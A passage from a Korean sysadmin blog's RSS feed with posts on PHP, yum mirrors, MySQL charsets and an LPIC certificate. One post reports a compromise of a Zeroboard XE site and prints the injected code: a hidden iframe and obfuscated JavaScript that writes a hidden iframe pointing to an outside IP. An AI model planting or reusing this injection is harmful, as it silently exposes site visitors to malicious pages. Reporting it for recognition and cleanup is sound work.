			<category>리눅스</category>
			<category>jfbterm</category>
			<category>가능</category>
			<category>설치</category>
			<category>소스</category>
			<category>소스컴파일</category>
			<category>입출력</category>
			<category>컴파일</category>
			<category>콘솔</category>
			<category>한글</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/314</guid>
			<comments>http://www.digimoon.net/blog/314#entry314comment</comments>
			<pubDate>Mon, 16 Jun 2008 18:49:44 +0900</pubDate>
		</item>
		<item>
			<title>CentOS 5.x 32bit에서 php 5.2.6 컴파일 환경설정 에러 해결 - utf8_mime2text()</title>
			<link>http://www.digimoon.net/blog/313</link>
			<description>증상:&lt;br /&gt;./configure 명령어에 --with-imap 옵션을 줄 때 아래와 같은 에러가 발생하는 경우가 있습니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;관련 링크:&lt;br /&gt;&lt;A href=&quot;http://phpschool.com/gnuboard4/bbs/board.php?bo_table=qna_install&amp;amp;wr_id=68373&amp;amp;sfl=&amp;amp;stx=&amp;amp;sst=wr_hit&amp;amp;sod=desc&amp;amp;sop=and&amp;amp;page=20&quot; target=_blank&gt;http://phpschool.com/gnuboard4/bbs/board.php?bo_table=qna_install&amp;amp;wr_id=68373&amp;amp;sfl=&amp;amp;stx=&amp;amp;sst=wr_hit&amp;amp;sod=desc&amp;amp;sop=and&amp;amp;page=20&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;A href=&quot;http://rich.pe.kr/tt/index.php?pl=53&quot; target=_blank&gt;http://rich.pe.kr/tt/index.php?pl=53&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CentOS 5.x에서는 uw-imap-devel을 구하기가 쉽지 않더군요.&lt;br /&gt;그냥 아래 명령어 두 줄 실행하고 다시 --with-imap 옵션 주고 컨피규어하면 에러 없이 성공합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# yum -y install libc-client&lt;br /&gt;# yum -y install libc-client-devel&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;근데 imap과 제대로 연동이 되는 건지는 잘 모르겠네요. ㅋ&lt;br /&gt;imap까지 구축하고 난 뒤 다시 포스팅하겠습니다.</description>
			<category>리눅스</category>
			<category>but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.</category>
			<category>configure: error: utf8_mime2text() has new signature</category>
			<category>imap</category>
			<category>utf8</category>
			<category>uw-imap-devel</category>
			<category>버그</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/313</guid>
			<comments>http://www.digimoon.net/blog/313#entry313comment</comments>
			<pubDate>Fri, 13 Jun 2008 10:52:21 +0900</pubDate>
		</item>
		<item>
			<title>yum-fastestmirror로 CentOS 5.0 의 yum 속도 업!</title>
			<link>http://www.digimoon.net/blog/312</link>
			<description>yum-fastestmirror 라는 패키지를 설치하면 됩니다.&lt;br /&gt;&lt;br /&gt;이 패키지는 yum 으로 간편하게 설치할 수 있습니다&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# yum -y install &amp;nbsp;yum-fastestmirror &lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;그 다음부터 yum 으로 특정 패키지를 설치하고자 하면 다운로드 속도가 가장 잘 나오는 mirror 서버를 자동으로 찾아주게 됩니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;다른 버전의 CentOS에서도 잘 되는지는 테스트해 보지 못했습니다. 아마 잘 될 듯 싶습니다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;허나 yum-fastestmirror 패키지가 설치되지 않는 경우도 있습니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;그럴 땐 /etc/yum.repo.d/CentOS-Base.repo 파일을 아래와 같이 수정하여 사용하면 yum을 빠르게 실행할 수 있습니다. daum에서 운영하는 미러서버를 이용케 하는 방법이죠. 
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;
&lt;P&gt;# CentOS-Base.repo&lt;br /&gt;#&lt;br /&gt;# This file uses a new mirrorlist system developed by Lance Davis for CentOS.&lt;br /&gt;# The mirror system uses the connecting IP address of the client and the&lt;br /&gt;# update status of each mirror to pick mirrors that are updated to and&lt;br /&gt;# geographically close to the client.&amp;nbsp; You should use this for CentOS updates&lt;br /&gt;# unless you are manually picking other mirrors.&lt;br /&gt;#&lt;br /&gt;# If the mirrorlist= does not work for you, as a fall back you can try the&lt;br /&gt;# remarked out baseurl= line instead.&lt;br /&gt;#&lt;br /&gt;#&lt;/P&gt;
&lt;P&gt;[base]&lt;br /&gt;name=CentOS-$releasever - Base&lt;br /&gt;baseurl=http://ftp.daum.net/centos/$releasever/os/$basearch/&lt;br /&gt;gpgcheck=1&lt;br /&gt;gpgkey=http://ftp.daum.net/centos/RPM-GPG-KEY-CentOS-5&lt;/P&gt;
&lt;P&gt;#released updates&lt;br /&gt;[updates]&lt;br /&gt;name=CentOS-$releasever - Updates&lt;br /&gt;baseurl=http://ftp.daum.net/centos/$releasever/updates/$basearch/&lt;br /&gt;gpgcheck=1&lt;br /&gt;gpgkey=http://ftp.daum.net/centos/RPM-GPG-KEY-CentOS-5&lt;/P&gt;
&lt;P&gt;#packages used/produced in the build but not released&lt;br /&gt;[addons]&lt;br /&gt;name=CentOS-$releasever - Addons&lt;br /&gt;baseurl=http://ftp.daum.net/centos/$releasever/addons/$basearch/&lt;br /&gt;gpgcheck=1&lt;br /&gt;gpgkey=http://ftp.daum.net/centos/RPM-GPG-KEY-CentOS-5&lt;/P&gt;
&lt;P&gt;#additional packages that may be useful&lt;br /&gt;[extras]&lt;br /&gt;name=CentOS-$releasever - Extras&lt;br /&gt;baseurl=http://ftp.daum.net/centos/$releasever/extras/$basearch/&lt;br /&gt;gpgcheck=1&lt;br /&gt;gpgkey=http://ftp.daum.net/centos/RPM-GPG-KEY-CentOS-5&lt;/P&gt;
&lt;P&gt;#additional packages that extend functionality of existing packages&lt;br /&gt;[centosplus]&lt;br /&gt;name=CentOS-$releasever - Plus&lt;br /&gt;baseurl=http://ftp.daum.net/centos/$releasever/centosplus/$basearch/&lt;br /&gt;gpgcheck=1&lt;br /&gt;enabled=0&lt;br /&gt;gpgkey=http://ftp.daum.net/centos/RPM-GPG-KEY-CentOS-5&lt;/P&gt;
&lt;P&gt;#contrib - packages by Centos Users&lt;br /&gt;[contrib]&lt;br /&gt;name=CentOS-$releasever - Contrib&lt;br /&gt;baseurl=http://ftp.daum.net/centos/$releasever/contrib/$basearch/&lt;br /&gt;gpgcheck=1&lt;br /&gt;enabled=0&lt;br /&gt;gpgkey=http://ftp.daum.net/centos/RPM-GPG-KEY-CentOS-5&lt;/P&gt;&lt;/DIV&gt;</description>
			<category>리눅스</category>
			<category>mirror</category>
			<category>up</category>
			<category>yum</category>
			<category>yum-fastestmirror</category>
			<category>다운로드</category>
			<category>미러</category>
			<category>속도</category>
			<category>업</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/312</guid>
			<comments>http://www.digimoon.net/blog/312#entry312comment</comments>
			<pubDate>Fri, 06 Jun 2008 11:02:55 +0900</pubDate>
		</item>
		<item>
			<title>Imagemagick</title>
			<link>http://www.digimoon.net/blog/307</link>
			<description>&lt;A href=&quot;http://www.imagemagick.org/&quot; target=_blank&gt;http://www.imagemagick.org/&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;A href=&quot;http://www.imagemagic.co.kr/board/community_photo.asp?num=13&quot; target=_blank&gt;http://www.imagemagic.co.kr/board/community_photo.asp?num=13&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;A href=&quot;http://simfile.chol.com/pc/view.html?fnum=73929&amp;amp;cat=81&quot; target=_blank&gt;http://simfile.chol.com/pc/view.html?fnum=73929&amp;amp;cat=81&lt;/A&gt;</description>
			<category>리눅스</category>
			<category>imagemagic</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/307</guid>
			<comments>http://www.digimoon.net/blog/307#entry307comment</comments>
			<pubDate>Fri, 02 May 2008 08:58:15 +0900</pubDate>
		</item>
		<item>
			<title>LPIC 자격증 도착</title>
			<link>http://www.digimoon.net/blog/306</link>
			<description>&amp;nbsp;1월 19일에 취득하고 지난 주인 4월 23일 수요일에 배송받은 LPIC 자격증입니다. 어지간히도 늦게 오는군요.&lt;br /&gt;LPIC가 국제 자격증 중엔 비교적 늦게 오는 편이라죠. 어떤 분은 8개월 만에 받았다고도 하고... ㅡ,.ㅡ;;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/attach/1/1072218323.jpg&quot; alt=&quot;사용자 삽입 이미지&quot; height=&quot;506&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/attach/1/1100609347.jpg&quot; alt=&quot;사용자 삽입 이미지&quot; height=&quot;909&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/attach/1/1173869388.jpg&quot; alt=&quot;사용자 삽입 이미지&quot; height=&quot;390&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;</description>
			<category>일상</category>
			<category>LPIC</category>
			<category>국제자격증</category>
			<category>도착</category>
			<category>배송</category>
			<category>자격증</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/306</guid>
			<comments>http://www.digimoon.net/blog/306#entry306comment</comments>
			<pubDate>Tue, 29 Apr 2008 21:47:32 +0900</pubDate>
		</item>
		<item>
			<title>제로보드XE 악성 스크립트 삽입 사례 보고</title>
			<link>http://www.digimoon.net/blog/305</link>
			<description>예전에 제로보드4로 만들어진 홈페이지를 지금 서버로 돌리고 있었는데 하도 크래킹을 자주 당해서 보안상 많이 개선되었다는 후속판인 제로보드XE로 마이그레이션을 해 두었습니다.&lt;br /&gt;그런데 오늘 그 홈페이지에 접속해 보니 접속은 되는 듯 한데 웹브라우저에 백지만 출력되는 겁니다. 그래서... &lt;br /&gt;&lt;br /&gt;제로보드XE가 설치된 디렉토리의 index.php 파일을 열어 보니 소스 제일 하단에&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;&amp;lt;iframe src=&#039;http://url&#039; width=&#039;1&#039; height=&#039;1&#039; style=&#039;visibility: hidden;&#039;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;script&amp;gt;function v48138c2bca6e9(v48138c2bcaae3){ function v48138c2bcaedd () {return 16;} return(parseInt(v48138c2bcaae3,v48138c2bcaedd()));}function v48138c2bcbad9(v48138c2bcc2cb){ function v48138c2bcdab7 () {return 2;} var v48138c2bccac3=&#039;&#039;;for(v48138c2bcd2c4=0; v48138c2bcd2c4&amp;lt;v48138c2bcc2cb.length; v48138c2bcd2c4+=v48138c2bcdab7()){ v48138c2bccac3+=(String.fromCharCode(v48138c2bca6e9(v48138c2bcc2cb.substr(v48138c2bcd2c4, v48138c2bcdab7()))));}return v48138c2bccac3;} document.write(v48138c2bcbad9(&#039;3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D63373564207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3430303032292B273436383831655C272077696474683D313133206865696768743D333534207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E&#039;));&amp;lt;/script&amp;gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;위와 같은 요상한 코드가 추가되어 있더군요.&lt;br /&gt;검색 결과 아래 링크에 해결법이 비교적 자세하게 나와 있습니다.&lt;br /&gt;&lt;A href=&quot;http://www.superuser.co.kr/home/superuserboard/view.html?id=2599&amp;amp;code=security&amp;amp;start=0&amp;amp;position=&quot; target=_blank&gt;http://www.superuser.co.kr/home/superuserboard/view.html?id=2599&amp;amp;code=security&amp;amp;start=0&amp;amp;position=&lt;/A&gt;&lt;br /&gt;&lt;A href=&quot;http://blog.daum.net/kwondoh/3269684&quot; target=_blank&gt;http://blog.daum.net/kwondoh/3269684&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;일단 위 소스만 제거하니 홈페이지는 예전처럼 잘 뜹니다만... 언젠가 다시 생성된다면 아무래도 서버를 다시 밀어야 할 지도 모를 일입니다. ㅋ</description>
			<category>웹/DB</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/305</guid>
			<comments>http://www.digimoon.net/blog/305#entry305comment</comments>
			<pubDate>Sun, 27 Apr 2008 17:15:06 +0900</pubDate>
		</item>
		<item>
			<title>mysql 컴파일 환경 설정 시 각 캐릭터셋 옵션 종류에 따라 결정되는 환경값 비교</title>
			<link>http://www.digimoon.net/blog/304</link>
			<description>&lt;P&gt;OS 환경: CentOS 5.0 64bit&lt;br /&gt;mysql 소스 버전: 5.0.44&lt;/P&gt;&lt;br /&gt;
&lt;P&gt;1. mysql 컴파일 환경 설정 시 --with-charset 옵션을 안 주었을 경우&lt;br /&gt;(euckr 과는 거리가 먼 결과가 나온다)&lt;/P&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;
&lt;P&gt;mysql&amp;gt; show variables like &#039;c%&#039;;&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| Variable_name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | Value &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| character_set_client &amp;nbsp; &amp;nbsp; | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_connection | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_database &amp;nbsp; | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_filesystem | binary &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_results &amp;nbsp;&amp;nbsp; | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_server &amp;nbsp; &amp;nbsp; | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_system &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_sets_dir &amp;nbsp; &amp;nbsp; &amp;nbsp; | /usr/local/mysql/share/mysql/charsets/ |&lt;br /&gt;| collation_connection &amp;nbsp; &amp;nbsp; | latin1_swedish_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_database &amp;nbsp; &amp;nbsp; &amp;nbsp; | latin1_swedish_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_server &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | latin1_swedish_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| completion_type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| concurrent_insert &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| connect_timeout &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;14 rows in set (0.00 sec)&lt;/P&gt;
&lt;P&gt;mysql&amp;gt;&lt;/P&gt;&lt;/DIV&gt;&lt;br /&gt;
&lt;P&gt;&lt;br /&gt;2. mysql 컴파일 환경 설정 시 --with-charset 옵션을 안 주고 설치한 뒤&lt;br /&gt;/etc/my.cnf 파일을 utf-8 환경으로 수정 후&lt;/P&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;
&lt;P&gt;mysql&amp;gt; show variables like &#039;c%&#039;;&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| Variable_name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | Value &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| character_set_client &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_connection | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_database &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_filesystem | binary &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_results &amp;nbsp;&amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_server &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_system &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_sets_dir &amp;nbsp; &amp;nbsp; &amp;nbsp; | /usr/local/mysql/share/mysql/charsets/ |&lt;br /&gt;| collation_connection &amp;nbsp; &amp;nbsp; | utf8_general_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_database &amp;nbsp; &amp;nbsp; &amp;nbsp; | utf8_general_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| collation_server &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | utf8_general_ci &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| completion_type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| concurrent_insert &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;| connect_timeout &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | 5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;14 rows in set (0.00 sec)&lt;/P&gt;
&lt;P&gt;mysql&amp;gt;&lt;/P&gt;&lt;/DIV&gt;&lt;br /&gt;
&lt;P&gt;&lt;br /&gt;3. mysql 컴파일 환경 설정 시 --with-charset=utf8 옵션을 주었을 경우&lt;/P&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;
&lt;P&gt;mysql&amp;gt; show variables like &#039;c%&#039;;&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| Variable_name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | Value &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;+--------------------------+----------------------------------------+&lt;br /&gt;| character_set_client &amp;nbsp; &amp;nbsp; | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_connection | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_database &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_filesystem | binary &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_results &amp;nbsp;&amp;nbsp; | latin1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;| character_set_server &amp;nbsp; &amp;nbsp; | utf8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br 